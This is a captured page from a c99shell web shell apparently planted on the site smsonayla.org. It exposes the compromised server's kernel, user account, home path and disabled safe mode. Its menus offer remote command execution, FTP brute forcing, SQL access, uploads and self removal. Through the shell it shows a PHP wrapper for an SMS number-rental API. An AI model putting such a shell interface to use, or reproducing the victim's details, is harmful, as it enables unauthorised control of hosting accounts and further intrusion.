smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/test/application/libraries/   drwxr-xr-x
Free 3429.57 GB of 4265.01 GB (80.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Smsacktiwator_api.php (3.37 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
defined
('BASEPATH') OR exit('No direct script access allowed');

class 
SmsAcktiwator_Api {
    function 
get_balance() {
        
$api_key get_instance()->config->item("smsacktiwator_api_key");
        return 
file_get_contents("https://sms-acktiwator.ru/api/getbalance/$api_key");
    }
    public function 
get_number($country$service) {
        
$api_key get_instance()->config->item("smsacktiwator_api_key");
        
$json json_decode(file_get_contents("https://sms-acktiwator.ru/api/getnumber/$api_key?id=$service&code=$country"));
        if(isset(
$json->code)) {
            return array(
                
"id" => 0,
                
"number" => null,
                
"error_code" => $json->code
            
);
        }
        else {
            return array(
                
"id" => $json->id,
                
"number" => $json->number,
                
"error_code" => 200
            
);
        }
    }
    public function 
get_message($id) {
        
$api_key get_instance()->config->item("smsacktiwator_api_key");
        
$data file_get_contents("https://sms-acktiwator.ru/api/getstatus/$api_key?id=$id");
        if(
$data != "") {
            return array(
                
"code" => json_decode($data)->text
            
);
        }
        else {
            return array(
                
"code" => null
            
);
        }
    }
    public function 
get_service_stock($country$service) {
        
$api_key get_instance()->config->item("smsacktiwator_api_key");
        
$json json_decode(file_get_contents("https://sms-acktiwator.ru/api/numbersstatus/{$api_key}?code=$country"));
        
$json_service $json[array_search($servicearray_column($json'id'))];
        return 
$json_service->count;
    }
    public function 
get_countries() {
        
$countries = array();
        
$api_key get_instance()->config->item("smsacktiwator_api_key");
        
$json json_decode(file_get_contents("https://sms-acktiwator.ru/api/countries/$api_key"), true);
        foreach(
$json as $country) {
            
array_push($countries, array("id" => $country["code"], "name" => $country["code"]));
        }
        return 
$countries;
    }
    public function 
get_service_price($country$service) {
        
$price "";
        
$api_key get_instance()->config->item("smsacktiwator_api_key");
        
$json json_decode(file_get_contents("https://sms-acktiwator.ru/api/numbersstatus/$api_key?code=$country"), true);
        foreach(
$json as $servicep) {
            if(
$servicep["id"] == $service) {
                
$price $servicep["cost"] . " RUB";
            }
        }
        return 
$price;
    }
    public function 
get_services_by_country($country) {
        
$services = array();
        
$api_key get_instance()->config->item("smsacktiwator_api_key");
        
$json json_decode(file_get_contents("https://sms-acktiwator.ru/api/numbersstatus/$api_key?code=$country"), true);
        foreach(
$json as $service) {
            
array_push($services, array(
                
"id" => $service["id"],
                
"name" => $service["name"])
            );
        }
        return 
$services;
    }
    public function 
cancel_number($number_id) {
        
$api_key get_instance()->config->item("smsacktiwator_api_key");
        
file_get_contents("https://sms-acktiwator.ru/api/setstatus/$api_key?id=$number_id&status=1");
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0285 ]--